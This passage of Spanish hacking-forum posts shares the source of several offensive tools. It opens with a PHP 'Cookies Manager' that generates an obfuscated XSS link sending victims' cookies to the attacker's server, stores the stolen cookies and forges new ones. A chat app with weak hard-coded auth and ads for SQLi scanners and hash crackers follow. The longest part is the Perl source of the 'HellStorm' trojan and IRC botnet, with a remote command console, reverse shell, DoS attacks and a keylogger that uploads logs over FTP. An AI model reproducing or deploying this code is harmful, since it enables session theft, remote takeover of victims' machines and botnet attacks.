                }
            }
           
            if (mysql_num_rows(mysql_query("show tables like 'cookies_found'"))) {
               
                //
               
                if (isset($_GET['del'])) {
                    if (is_numeric($_GET['del'])) {
                        if (@mysql_query("delete from cookies_found where id='" . $_GET['del'] . "'")) {
                            echo "<script>alert('Cookie deleted');</script>";
                        } else {
                            echo "<script>alert('Error');</script>";
                        }
                    }
                }
               
                // Cookies Found
               
               
                $re  = mysql_query("select * from cookies_found order by id ASC");
                $con = mysql_num_rows($re);
                echo '
                <div class="post">
                    <h3>Cookies Found : ' . $con . '</h3>
                       <div class="post_body"><br>';
               
                if ($con <= 0) {
                    echo '<b>No cookies found</b><br>';
                } else {
                   
                    echo '<table>';
                    echo "<td><b>ID</b></td><td><b>Date</b></td><td><b>IP</b></td><td><b>Data</b></td><td><b>Cookie</b></td><td><b>Name</b></td><td><b>Value</b></td><td><b>Option</b></td><tr>";
                   
                    while ($ver = mysql_fetch_array($re)) {
                        $cookies_view = $ver[4];
                        list($nombre, $valor_cookie, $expires, $path, $domain, $secure, $httponly) = parsear_cookie($cookies_view);
                       
                        echo "<td>" . htmlentities($ver[0]) . "</td><td>" . htmlentities($ver[1]) . "</td><td>" . htmlentities($ver[2]) . "</td><td>" . htmlentities($ver[3]) . "</td>";
                        echo "<td>" . htmlentities($cookies_view) . "</td><td>" . htmlentities($nombre) . "</td><td>" . htmlentities($valor_cookie) . "</td><td><a href=?del=" . htmlentities($ver[0]) . ">Delete</a></td><tr>";
                       
                    }
                    echo "</table>";
                   
                }
               
                echo '               <br></div>
                </div>';
               
                //
               
                // Form para target
               
                echo '
                <div class="post">
                    <h3>Enter Target</h3>
                       <div class="post_body"><br>';
               
                echo "
    <form action='' method=POST>
    <b>Link : </b><input type=text size=40 name=target value='http://localhost/dhlabs/xss/index.php?msg='=></td><tr>
    <input type=submit name=getcookies style='height: 25px; width: 100px' value='Get Cookies'> <input type=submit name=generateurl style='height: 25px; width: 100px' value=Generate URL></td>
    </form>

    ";
               
                echo '               <br></div>
                </div>';
               
                // URLS
               
                if (isset($_POST['generateurl'])) {
                   
                    echo '
                <div class="post">
                    <h3>Console</h3>
                       <div class="post_body"><br>';
                   
                    echo "<textarea cols=50 name=code readonly>\n";
                    $script         = hex_encode("<script>document.location='http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "?id='+document.cookie;</script>");
                    //echo "http://tinyurl.com/api-create.php?url=".$_POST['target'].$script."\n";
                    $resultado_code = toma("http://tinyurl.com/api-create.php?url=" . $_POST['target'] . $script);
                    echo htmlentities($resultado_code);
                    echo "\n</textarea></table>";
                   
                    echo '               <br><br></div>
                </div>';
                   
                }
                //
               
                // Get Cookies
               
                if (isset($_POST['getcookies'])) {
                   
                    echo '
                <div class="post">
                    <h3>Console</h3>
                       <div class="post_body"><br>';
                   
                    echo "<textarea cols=50 rows=10 name=code readonly>\n";
                    $resultado_code = ver_cookies_de_pagina($_POST['target']);
                    echo htmlentities($resultado_code);
                    echo "\n</textarea>";
                   
                    echo '               <br><br></div>
                </div>';
                   
                    $leyendo_esto = split("\n", $resultado_code);
                   
                    list($nombre, $valor_cookie, $expires, $path, $domain, $secure, $httponly) = parsear_cookie($leyendo_esto[0]);
                   
                    $edit_name       = $nombre;
                    $edit_value      = $valor_cookie;
                    $edit_expire     = $expires;
                    $edit_path       = $path;
                    $edit_domain     = $domain;
                    $edit_secure     = $secure;
                    $edit_httponline = $httponly;
                   
                }
               
                //
               
                // Form para crear cookies
               
               
                echo '
                <div class="post">
                    <h3>Cookie Maker</h3>
                       <div class="post_body"><br>';
               
                echo "
    <form action='' method=POST>
    <b>Name : </b><input type=text size=50 name=name_cookie value='$edit_name'><br><br>
    <b>Value : </b><input type=text size=50 name=value_cookie value='$edit_value'><br><br>
    <b>Expires : </b><input type=text size=50 name=expire_cookie value='$edit_expire'><br><br>
    <b>Path : </b><input type=text size=50 name=path_cookie value='$edit_path'><br><br>
    <b>Domain : </b><input type=text size=50 name=domain_cookie value='$edit_domain'><br><br>
    <b>Secure : </b><input type=text size=50 name=secure_cookie value='$edit_secure'><br><br>
    <b>HTTP Online : </b><input type=text size=50 name=httponline_cookie value='$edit_httponline'><br><br>
    <input type=submit name=makecookies style='height: 25px; width: 200px' value='Make Cookie'>
    </form>";
               
                echo '                <br></div>
                </div>';
               
            } else {
               
                echo '
                <div class="post">
                    <h3>Installer</h3>
                       <div class="post_body">';
                echo "
    <form action='' method=POST>
    <h2>Do you want install Cookies Manager ?</h2><br>
    <input type=submit name=instalar value=Install>
    </form><br>";
               
                echo '                </div>
                </div>';
            }
           
            echo ' 
            <br><h3>(C) Doddy Hackman 2015</h3><br>
            </center>
            </body>
    </html>';
           
        } else {
            echo "<script>alert('Fuck You');</script>";
        }
    } else {
        echo '<meta http-equiv="refresh" content="0; url=http://www.petardas.com" />';
    }

    // The End ?

    ?>


    style.css

    Código: css

    /*

    ==-----------------------------------==
    || Name : DH Theme                   ||
    || Version : 0.8                     || 
    || Author : Doddy H                  ||
    || Description: Templante            ||
    || Date : 14/1/2015                  ||
    ==-----------------------------------==

    */

    body {
    background:transparent url("images/fondo.jpg") repeat scroll 0 0;
    color:gray;
    font-family:helvetica,arial,sans-serif;
    font-size:14px;
    text-align:center;
    }

    a:link {
    text-decoration:none;
    color:orange;
    }
    a:visited {
    color:orange;
    }
    a:hover {
    color:orange;
    }

    td,tr {
    border-style:solid;
    border-color: gray;
    border-width: 1px;
    background: black;
    border: solid #222 2px;
    color:gray;
    font-family:helvetica,arial,sans-serif;
    font-size:14px;
    text-align:center;
    }

    textarea {
    font: normal 10px Verdana, Arial, Helvetica,sans-serif;
    background-color:black;
    color:gray;
    border: solid #222 2px;
    border-color:gray
    }

    input {
    border-style:solid;
    border-color: gray;
    border-width: 1px;
    background: black;
    border: solid #222 2px;
    color:gray;
    font-family:helvetica,arial,sans-serif;
    font-size:14px;
    }

    .post {
    background-color:black;
    color:gray;
    margin-bottom:10px;
    width:600px;
    word-wrap: break-word;
    }

    .post h3 {
    background-color:black;
    color:orange;
    background-color:#000;
    border: solid #222 2px;
    -webkit-border-radius: 4px;
    -moz-border-radius: 4px;
    border-radius: 4px;
    padding:5px 10px;
    }

    .post_body {
    background-color:black;
    margin:-20px 0 0 0;
    color:white;
    background-color:#000;
    border: solid #222 2px;
    -webkit-border-radius: 4px;
    -moz-border-radius: 4px;
    border-radius: 4px;
    padding:5px 10px;
    }

    /* The End ? */


    Un video con ejemplo de usos :



    Si quieren bajar el programa lo pueden hacer de aca :

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
#72
Back-end / Re:[PHP] DH Chat 0.5
Diciembre 15, 2015, 04:02:36 PM
A mi no me interesa editar nada , deja de desviar el tema central del post.
#73
Back-end / Re:[PHP] DH Chat 0.5
Diciembre 14, 2015, 09:01:20 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Es para sorprender al atacante.

Buena website para los necesitados XD

Saludos.

Sino te gusta te puedo poner una pagina de negros musculosos , si queres edito el link y queda como tu version privada xD.

Igual deja de desviar el tema y habla sobre el codigo.

Saludos.
#74
Back-end / Re:[PHP] DH Chat 0.5
Diciembre 14, 2015, 08:02:48 PM
Es para sorprender al atacante.
#75
Back-end / Re:[PHP] DH Chat 0.5
Diciembre 13, 2015, 02:49:45 PM
Es mi sistema de seguridad personal xD.
#76
Back-end / [PHP] DH Chat 0.5
Diciembre 04, 2015, 12:23:37 PM
Un simple chat que hice en PHP que tiene las siguientes opciones :

  • Solo permite 10 mensajes por lo que borra por antiguedad
  • Filtra malas palabras
  • Se pueden borrar comentarios desde el administrador

    Una imagen :



    Los codigos :

    index.php

    Código: php

    <?php

    // DH Chat 0.5
    // (C) Doddy Hackman 2015

    // Login

    $username = "admin"; // Edit
    $password = "21232f297a57a5a743894a0e4a801fc3"; // Edit

    //

    $index = "admin.php"; // Edit

    if (isset($_GET['poraca'])) {
       
        echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
       <head>
          <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
          <title>Login</title>
          <link rel="shortcut icon" href="images/icono.png">
          <link href="style.css" rel="stylesheet" type="text/css" />
       </head>
       <body>
          <center><br>
             <div class="post">
                <h3>Login</h3>
                <div class="post_body">
                   <img src="images/login.jpg" width="562" height="440" />
                   <br />
                   <form action="" method=POST>
                      Username : <input type=text size=30 name=username /><br /><br />
                      Password : <input type=password size=30 name=password /><br /><br />
                      <input type=submit name=login style="width: 100px;" value=Login /><br /><br />
                   </form>
                </div>
             </div>
          </center>
       </body>
    </html>';
       
        if (isset($_POST['login'])) {
           
            $test_username = $_POST['username'];
            $test_password = md5($_POST['password']);
           
            if ($test_username == $username && $test_password == $password) {
                setcookie("login", base64_encode($test_username . "@" . $test_password));
                echo "<script>alert('Welcome idiot');</script>";
                $ruta = "http://" . $_SERVER['HTTP_HOST'] . dirname($_SERVER['PHP_SELF']) . "/" . $index;
                echo '<meta http-equiv="refresh" content="0; url=' . htmlentities($ruta) . '" />';
            } else {
                echo "<script>alert('Fuck You');</script>";
            }
        }
       
    } else {
        echo '<meta http-equiv="refresh" content="0; url=http://www.petardas.com" />';
    }

    // The End ?

    ?>


    admin.php

    Código: php

    <?php

    // DH Chat 0.5
    // (C) Doddy Hackman 2015

    error_reporting(0);

    // Login

    $username = "admin"; // Edit
    $password = "21232f297a57a5a743894a0e4a801fc3"; // Edit

    // DB

    $host  = "localhost"; // Edit
    $userw = "root"; // Edit
    $passw = ""; // Edit
    $db    = "chat"; // Edit

    if (isset($_COOKIE['login'])) {
       
        $st = base64_decode($_COOKIE['login']);
       
        $plit = explode("@", $st);
        $user = $plit[0];
        $pass = $plit[1];
       
        if ($user == $username and $pass == $password) {
           
            echo '
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
       <head>
          <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
          <title>DH Chat 0.5</title>
          <link rel="shortcut icon" href="images/icono.png">
          <link href="style.css" rel="stylesheet" type="text/css" />
       </head>
       <body>
       <center>
       ';
           
            mysql_connect($host, $userw, $passw);
            mysql_select_db($db);
           
            echo '         <br><img src="images/chat.png" /><br>';
           
            if (isset($_POST['instalar'])) {
               
                $todo = "create table mensajes (
    id_comentario int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
    mensaje TEXT NOT NULL,
    apodo VARCHAR(255) NOT NULL,
    PRIMARY KEY (id_comentario));
    ";
               
                $todo2 = "create table insultos (
    id_insulto int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
    mensaje TEXT NOT NULL,
    PRIMARY KEY (id_insulto));
    ";
               
                if (mysql_query($todo)) {
                    if (mysql_query($todo2)) {
                       
                        $insultos = array(
                            "lammer",
                            "lamer",
                            "maricon",
                            "noob"
                        );
                       
                        foreach ($insultos as $con) {
                            @mysql_query("INSERT INTO insultos(id_insulto,mensaje)values(NULL,'$con')");
                        }
                       
                        echo "<script>alert('Installed');</script>";
                        echo '<meta http-equiv="refresh" content=0;URL=>';
                    }
                } else {
                    echo "<script>alert('Error');</script>";
                }
            }
           
            if (mysql_num_rows(mysql_query("show tables like 'mensajes'"))) {
               
                //
               
                $re = mysql_query("select * from mensajes order by id_comentario ASC");
               
                if (isset($_GET['id'])) {
                    if (is_numeric($_GET['id'])) {
                        if (@mysql_query("delete from mensajes where id_comentario='" . $_GET['id'] . "'")) {
                            echo "<script>alert('Comment deleted');</script>";
                        } else {
                            echo "<script>alert('Error');</script>";
                        }
                    }
                }
               
                $sql       = "select id_comentario from mensajes";
                $resultado = mysql_query($sql);
                $cantidad  = mysql_num_rows($resultado);
               
                echo '
                <div class="post">
                    <h3>Comments : ' . $cantidad . '</h3>
                       <div class="post_body"><br>';
                if ($cantidad <= 0) {
                    echo '<b>No entries found</b><br>';
                } else {
                    echo "<table>";
                    echo "<td><b>ID</b></td><td><b>Nick</b></td><td><b>Text</b></td><td><b>Option</b></td><tr>";
                   
                    while ($ver = mysql_fetch_array($re)) {
                        echo "<td>" . htmlentities($ver[0]) . "</td><td>" . htmlentities($ver[2]) . "</td><td>" . htmlentities($ver[1]) . "</td><td><a href=?id=" . htmlentities($ver[0]) . ">Delete</a></td><tr>";
                    }
                   
                    echo "</table>";
                   
                }
               
                echo '                <br></div>
                </div>';
               
                if (isset($_POST['new_word'])) {
                    $in = $_POST['word'];
                    if (@mysql_query("INSERT INTO insultos(id_insulto,mensaje)values(NULL,'$in')")) {
                        echo "<script>alert('Word added');</script>";
                    } else {
                        echo "<script>alert('Error');</script>";
                    }
                }
               
                if (isset($_GET['del_word'])) {
                    if (is_numeric($_GET['del_word'])) {
                        if (@mysql_query("delete from insultos where id_insulto='" . $_GET['del_word'] . "'")) {
                            echo "<script>alert('Word deleted');</script>";
                        } else {
                            echo "<script>alert('Error');</script>";
                        }
                    }
                }
               
                echo '
             <div class="post">
                <h3>Block words</h3>
                <div class="post_body"><br>
                ';
               
                echo "
    <form action='' method=POST>
    <b>Word : </b><input type=text name=word>
    <input type=submit name=new_word style='width: 100px;' value=Add>
    </form>";
               
                echo '
                <br>
                </div>
             </div>
             ';
               
               
                $sql       = "select id_insulto from insultos";
                $resultado = mysql_query($sql);
                $cantidad  = mysql_num_rows($resultado);
               
                echo '
             <div class="post">
                <h3>Words blocked : ' . $cantidad . '</h3>
                <div class="post_body"><br>
                ';
               
                $rea = mysql_query("select * from insultos order by id_insulto ASC");
               
                if ($cantidad <= 0) {
                    echo '<b>No entries found</b><br>';
                } else {
                    echo "<table>";
                    echo "<td>ID</td><td>Word</td><td>Option</td><tr>";
                    while ($ver = mysql_fetch_array($rea)) {
                        echo "<td>" . htmlentities($ver[0]) . "</td><td>" . htmlentities($ver[1]) . "</td><td><a href=?del_word=" . htmlentities($ver[0]) . ">Delete</a></td><tr>";
                    }
                   
                    echo "</table>";
                   
                }
               
                echo '
                <br>
                </div>
             </div>
             ';
               
            } else {
               
                echo '
                <div class="post">
                    <h3>Installer</h3>
                       <div class="post_body">';
               
                echo "
    <form action='' method=POST>
    <h2>Do you want install DH Chat 0.5 ?</h2><br>
    <input type=submit name=instalar style='width: 100px;' value=Install>
    </form><br>";
                echo '                </div>
                </div>';
            }
           
            echo ' 
       <br><h3>(C) Doddy Hackman 2015</h3><br>
       </center>
       </body>
    </html>';
           
            mysql_close();
            exit(1);
           
        } else {
            echo "<script>alert('Fuck You');</script>";
        }
       
    } else {
        echo '<meta http-equiv="refresh" content="0; url=http://www.petardas.com" />';
    }

    // The End ?

    ?>


    style.css

    Código: css

    /*

    ==-----------------------------------==
    || Name : DH Theme                   ||
    || Version : 0.8                     || 
    || Author : Doddy H                  ||
    || Description: Templante            ||
    || Date : 14/1/2015                  ||
    ==-----------------------------------==

    */

    body {
    background:transparent url("images/fondo.jpg") repeat scroll 0 0;
    color:gray;
    font-family:helvetica,arial,sans-serif;
    font-size:14px;
    text-align:center;
    }

    a:link {
    text-decoration:none;
    color:orange;
    }
    a:visited {
    color:orange;
    }
    a:hover {
    color:orange;
    }

    td,tr {
    border-style:solid;
    border-color: gray;
    border-width: 1px;
    background: black;
    border: solid #222 2px;
    color:gray;
    font-family:helvetica,arial,sans-serif;
    font-size:14px;
    text-align:center;

    word-wrap: break-word;
    word-break:break-all;
    }

    input {
    border-style:solid;
    border-color: gray;
    border-width: 1px;
    background: black;
    border: solid #222 2px;
    color:gray;
    font-family:helvetica,arial,sans-serif;
    font-size:14px;
    }

    .post {
    background-color:black;
    color:gray;
    margin-bottom:10px;
    width:600px;
    word-wrap: break-word;
    }

    .post h3 {
    background-color:black;
    color:orange;
    background-color:#000;
    border: solid #222 2px;
    -webkit-border-radius: 4px;
    -moz-border-radius: 4px;
    border-radius: 4px;
    padding:5px 10px;
    }

    .post_body {
    background-color:black;
    margin:-20px 0 0 0;
    color:white;
    background-color:#000;
    border: solid #222 2px;
    -webkit-border-radius: 4px;
    -moz-border-radius: 4px;
    border-radius: 4px;
    padding:5px 10px;
    }

    /* The End ? */


    chat.php

    Código: php

    <?php

    //DH Chat 0.5
    //(C) Doddy Hackman 2015

    // DB

    $host = "localhost"; // Edit
    $user = "root"; // Edit
    $pass = ""; // Edit
    $db   = "chat"; // Edit

    //

    error_reporting(0);

    mysql_connect($host, $user, $pass);
    mysql_select_db($db);

    echo '<link href="chat.css" rel="stylesheet" type="text/css" />';

    echo "<table border=0 width='210' style='table-layout: fixed'>";
    echo "<td><b>DH Chat 0.5</b></td><tr>";


    $sumo = mysql_query("SELECT MAX(id_comentario) FROM mensajes");

    $s = mysql_fetch_row($sumo);

    foreach ($s as $d) {
        $total = $d;
    }

    $test = $total - 10;

    if ($test <= 0) {
        next;
    } else {
        $resto = $test;
       
        for ($i = 1; $i <= $resto; $i++) {
            @mysql_query("DELETE FROM mensajes where id_comentario='$i'");
        }
    }

    $re = @mysql_query("select * from mensajes order by id_comentario DESC");

    while ($ver = @mysql_fetch_array($re)) {
        echo "<td><b>" . htmlentities($ver[2]) . "</b> : " . htmlentities($ver[1]) . "</td><tr>";
    }


    echo "<br><br><td><br><b>Comment</b><br><br>   
    <form action='' method=POST>
    Nick : <input type=text name=apodo size=20><br><br>
    Text : <input type=text name=msg size=20><br><br>
    <input type=submit name=chatentro style='width: 100px;' value=Send>
    </form>
    <tr>
    <td><b>Coded By Doddy H</b></td><tr>
    </table>";


    if (isset($_POST['chatentro'])) {
       
        $sumo = mysql_query("SELECT MAX(id_comentario) FROM mensajes");
       
        $s = mysql_fetch_row($sumo);
       
        foreach ($s as $d) {
            $x_id = $d + 1;
        }
       
        $apodo   = htmlentities(addslashes($_POST['apodo']));
        $mensaje = htmlentities(addslashes($_POST['msg']));
       
        $apodo   = substr($apodo, 0, 70);
        $mensaje = substr($mensaje, 0, 70);
       
        $rex = mysql_query("select mensaje from insultos");
       
        while ($con = mysql_fetch_array($rex)) {
            $mensaje = str_replace($con[0], "#$!*", $mensaje);
            $apodo   = str_replace($con[0], "#$!*", $apodo);
        }
       
        if (is_numeric($x_id)) {
            @mysql_query("INSERT INTO mensajes(id_comentario,apodo,mensaje)values('$x_id','$apodo','$mensaje')");
        }
       
        echo '<meta http-equiv="refresh" content=0;URL=>';
       
    }

    mysql_close();

    // The End ?

    ?>


    chat.css

    Código: css

    /*

    ==-----------------------------------==
    || Name : DH Theme                   ||
    || Version : 0.8                     || 
    || Author : Doddy H                  ||
    || Description: Templante            ||
    || Date : 14/1/2015                  ||
    ==-----------------------------------==

    */

    body {
    color:gray;
    font-family:helvetica,arial,sans-serif;
    font-size:14px;
    text-align:center;
    }

    a:link {
    text-decoration:none;
    color:orange;
    }
    a:visited {
    color:orange;
    }
    a:hover {
    color:orange;
    }

    td,tr {
    border-style:solid;
    border-color: gray;
    border-width: 1px;
    background: black;
    border: solid #222 2px;
    color:gray;
    font-family:helvetica,arial,sans-serif;
    font-size:14px;
    text-align:center;

    word-wrap: break-word;
    word-break:break-all;
    }

    input {
    border-style:solid;
    border-color: gray;
    border-width: 1px;
    background: black;
    border: solid #222 2px;
    color:gray;
    font-family:helvetica,arial,sans-serif;
    font-size:14px;
    }

    .post {
    background-color:black;
    color:gray;
    margin-bottom:10px;
    width:600px;
    word-wrap: break-word;
    }

    .post h3 {
    background-color:black;
    color:orange;
    background-color:#000;
    border: solid #222 2px;
    -webkit-border-radius: 4px;
    -moz-border-radius: 4px;
    border-radius: 4px;
    padding:5px 10px;
    }

    .post_body {
    background-color:black;
    margin:-20px 0 0 0;
    color:white;
    background-color:#000;
    border: solid #222 2px;
    -webkit-border-radius: 4px;
    -moz-border-radius: 4px;
    border-radius: 4px;
    padding:5px 10px;
    }

    /* The End ? */


    test.php

    Código: php

    <body background="test.jpg">

    <?php

    include("chat.php");

    ?>


    Si quieren bajar el programa lo pueden hacer de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

    Cualquier sugerencia para mejorar este proyecto diganla para mejorar.

    Saludos.
#77
Back-end / [PHP] DH Scanner 0.9
Noviembre 20, 2015, 07:54:30 PM
Version mejorada de este scanner en PHP hecho para buscar vulnerabilidades webs.

Tiene las siguientes opciones :

  • Bing Scanner con scanner SQLI incluido
  • SQLI Scanner
  • LFI Scanner
  • Crackear varias hashes MD5
  • Buscador del panel de administracion
  • Localizador de IP y sus DNS
  • Encoders para base64,HEX y MD5

    Una imagen :



    Un video con ejemplo de usos :



    Si quieren bajar el programa lo pueden hacer de aca :

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
#78
Python / [Python-Android] ParanoicScan 0.4
Noviembre 06, 2015, 05:08:37 PM
Version mejorada de este script para scannear con android que incorpora las siguientes funciones :

  • Scannea en bing buscando SQLI
  • Un completo scanner SQLI
  • Buscador de panel de administracion
  • Codificador de MD5
  • Codificador y Decodificador de Base64 y Hex
  • Localizador de IP y sus DNS
  • Crackeador de para hashes MD5
  • HTTP FingerPrinting

    Unas imagenes :























    Si quieren bajar el programa lo pueden hacer de aca :

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

    Eso seria todo.
#79
Perl / [Perl] Project HellStorm 1.2
Octubre 23, 2015, 10:07:07 PM
Hola hoy les traigo un troyano en Perl que funciona mediante sockets y como IRC Botnet , tiene las siguientes opciones :

[++] Opciones del troyano

  • Navegador de archivos : borrar,renombrar
  • Da informacion sobre la computadora
  • Abrir y cerrar CD
  • Ocultar y mostrar barra de inicio o iconos del escritorio
  • Hacer hablar a la computadora para que diga lo que queramos
  • Mandar mensajitos
  • Consola de comandos
  • Administracion de procesos
  • ReverseShell
  • Cambiar fondo de escritorio
  • Mover mouse
  • Cargar word para que escriba solo
  • DOS Attack : en el caso de IRC podran hacer un ataque DDOS si tienen varios infectados
  • Keylogger en segundo plano : sube logs y fotos tomadas a un servidor FTP

    Una imagen :



    Los codigos :

    server.pl

    Código: perl

    #!usr/bin/perl
    #Project HellStorm 1.2
    #(C) Doddy Hackman 2015
    #Necessary modules
    #
    #ppm install http://www.bribes.org/perl/ppm/Win32-API.ppd
    #ppm install http://www.bribes.org/perl/ppm/Win32-GuiTest.ppd
    #
    #Use "perl2exe -gui server.pl" to hide console
    #

    use Win32::OLE;
    use Win32::OLE qw(in);
    use Win32::Process;
    use Win32;
    use Win32::API;
    use Win32::GuiTest
      qw(GetForegroundWindow GetWindowText FindWindowLike SetForegroundWindow SendKeys);
    use Win32::Clipboard;
    use threads;
    use Net::FTP;
    use Win32::File;
    use Cwd;
    use IO::Socket;
    use Win32::Job;
    use Win32::GuiTest qw(MouseMoveAbsPix SendMessage);

    if ( $^O eq 'MSWin32' ) {
        use Win32::Console;
        Win32::Console::Free();
    }

    # FTP Configuration

    my $host_ftp = "localhost";    # Edit
    my $user_ftp = "doddy";        # Edit
    my $pass_ftp = "123";          # Edit

    # IRC Configuration

    my $host_irc  = "localhost";    # Edit
    my $canal_irc = "#locos";       # Edit
    my $port_irc  = "6667";         # Edit
    my $nick_irc  = dameip();       # Edit

    # Threads

    # You must comment on the thread that you will not use

    my $comando4 = threads->new( \&conexion_directa );

    #my $comando5 = threads->new( \&keylogger );
    #my $comando6 = threads->new(\&ircnow);

    $comando4->join();

    #$comando5->join();

    #$comando6->join();

    #

    sub ircnow {

        my $soquete = new IO::Socket::INET(
            PeerAddr => $host_irc,
            PeerPort => $port_irc,
            Proto    => "tcp"
        );

        print $soquete "NICK $nick_irc\r\n";
        print $soquete "USER $nick_irc 1 1 1 1\r\n";
        print $soquete "JOIN $canal_irc\r\n";

        while ( my $logar = <$soquete> ) {
            print "\r\n";
            chomp($logar);

            if ( $logar =~ /^PING(.*)$/i ) {
                print $soquete "PONG $1\r\n";
            }

            if ( $logar =~ /:$nick_irc help/g ) {

                my @commands = (
                    "msgbox <>",            "getinfo",
                    "cmd <>",               "dir",
                    "cd <>",                "del <>",
                    "rename :<>:<>:",       "cwd",
                    "verlogs",              "word :<>:",
                    "crazymouse",           "cambiarfondo :<>:",
                    "opencd",               "closedcd",
                    "dosattack :<>:<>:<>:", "speak :<>:",
                    "iniciochau",           "iniciovuelve",
                    "iconochau",            "iconovuelve",
                    "backshell :<>:<>:",    "procesos",
                    "cerrarproceso  :<>:<>:"
                );

                print $soquete
                  "PRIVMSG $canal_irc : HellStorm (C) 2011 Doddy Hackman\r\n";
                print $soquete "PRIVMSG $canal_irc : Commands : \r\n";
                for (@commands) {
                    print $soquete "PRIVMSG $canal_irc : " . $_ . "\r\n";
                }
            }

            if ( $logar =~ /:$nick_irc msgbox (.*)/g ) {
                my $msg = $1;
                chomp $msg;
                cheats( "mensaje", $msg );
                print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
            }

            if ( $logar =~ /:$nick_irc getinfo/g ) {
                my $re = getinfo();
                if ( $re =~ /:(.*):(.*):(.*):(.*):(.*):/ ) {
                    print $soquete "PRIVMSG $canal_irc : [+] Domain : $1\r\n";
                    print $soquete "PRIVMSG $canal_irc : [+] Chip : $2\r\n";
                    print $soquete "PRIVMSG $canal_irc : [+] Version : $3\r\n";
                    print $soquete "PRIVMSG $canal_irc : [+] Username : $4\r\n";
                    print $soquete "PRIVMSG $canal_irc : [+] OS : $5\r\n";
                }
            }

            if ( $logar =~ /:$nick_irc cmd (.*)/ ) {
                my $cmda = $1;
                chomp $cmda;
                my @re = cmd($cmda);
                for (@re) {
                    print $soquete "PRIVMSG $canal_irc : $_\r\n";
                }
            }

            if ( $logar =~ /:$nick_irc dir/ ) {
                my @files = navegador("listar");
                for (@files) {
                    if ( -f $_ ) {
                        print $soquete "PRIVMSG $canal_irc : [File] : " . $_
                          . "\r\n";
                    }
                    else {
                        print $soquete "PRIVMSG $canal_irc : [Directory] : " . $_
                          . "\r\n";
                    }
                }
            }

            if ( $logar =~ /:$nick_irc cd (.*)/ ) {
                my $di = $1;
                chomp $di;
                if ( navegador( "cd", $di ) ) {
                    print $soquete "PRIVMSG $canal_irc : [+] Directory Changed\r\n";
                }
                else {
                    print $soquete "PRIVMSG $canal_irc : [-] Error\r\n";
                }
            }

            if ( $logar =~ /:$nick_irc del (.*)/ ) {
                my $file = $1;
                chomp $file;
                if ( navegador( "borrar", $1 ) ) {
                    print $soquete "PRIVMSG $canal_irc : [+] File deleted\r\n";
                }
                else {
                    print $soquete "PRIVMSG $canal_irc : [-] Error\r\n";
                }
            }

            if ( $logar =~ /:$nick_irc rename :(.*):(.*):/ ) {
                my ( $a, $b ) = ( $1, $2 );
                if ( navegador( "rename", $a, $b ) ) {
                    print $soquete "PRIVMSG $canal_irc : [+] Changed\r\n";
                }
                else {
                    print $soquete "PRIVMSG $canal_irc : [-] Error\r\n";
                }
            }

            if ( $logar =~ /:$nick_irc cwd/ ) {
                print $soquete "PRIVMSG $canal_irc : [+] Directory : "
                  . getcwd() . "\r\n";
            }

            if ( $logar =~ /:$nick_irc verlogs/ ) {
                print $soquete "PRIVMSG $canal_irc : [+] Logs\r\n";
                my @word = openfilex("logs.txt");
                for (@word) {
                    sleep 3;
                    print $soquete "PRIVMSG $canal_irc : " . $_ . "\r\n";
                }
            }

            if ( $logar =~ /:$nick_irc word :(.*):/ig ) {
                my $msg = $1;
                cheats( "word", $msg );
                print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
            }

            if ( $logar =~ /:$nick_irc crazymouse/ig ) {
                cheats("crazymouse");
                print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
            }

            if ( $logar =~ /:$nick_irc cambiarfondo :(.*):/ig ) {
                my $url = $1;
                chomp $url;
                cheats( "cambiarfondo", $url );
                print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
            }

            if ( $logar =~ /:$nick_irc opencd/ig ) {
                cheats( "cd", "1" );
                print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
            }

            if ( $logar =~ /:$nick_irc closedcd/ig ) {
                cheats( "cd", "0" );
                print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
            }

            if ( $logar =~ /dosattack :(.*):(.*):(.*):/ ) {
                my ( $i, $p, $t ) = ( $1, $2, $3 );
                print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
                dosattack( $i, $p, $t );
            }

            if ( $logar =~ /:$nick_irc speak :(.*):/ig ) {
                my $t = $1;
                chomp $t;
                cheats( "speak", $t );
                print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
            }

            if ( $logar =~ /:$nick_irc iniciochau/ ) {
                cheats( "inicio", "1" );
                print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
            }

            if ( $logar =~ /:$nick_irc iniciovuelve/ ) {
                cheats( "inicio", "0" );
                print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
            }

            if ( $logar =~ /:$nick_irc iconochau/ ) {
                cheats( "iconos", "1" );
                print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
            }

            if ( $logar =~ /:$nick_irc iconovuelve/ ) {
                cheats( "iconos", "0" );
                print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
            }

            if ( $logar =~ /:$nick_irc backshell :(.*):(.*):/ig ) {
                backshell( $1, $2 );
                print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
            }

            if ( $logar =~ /:$nick_irc procesos/ ) {

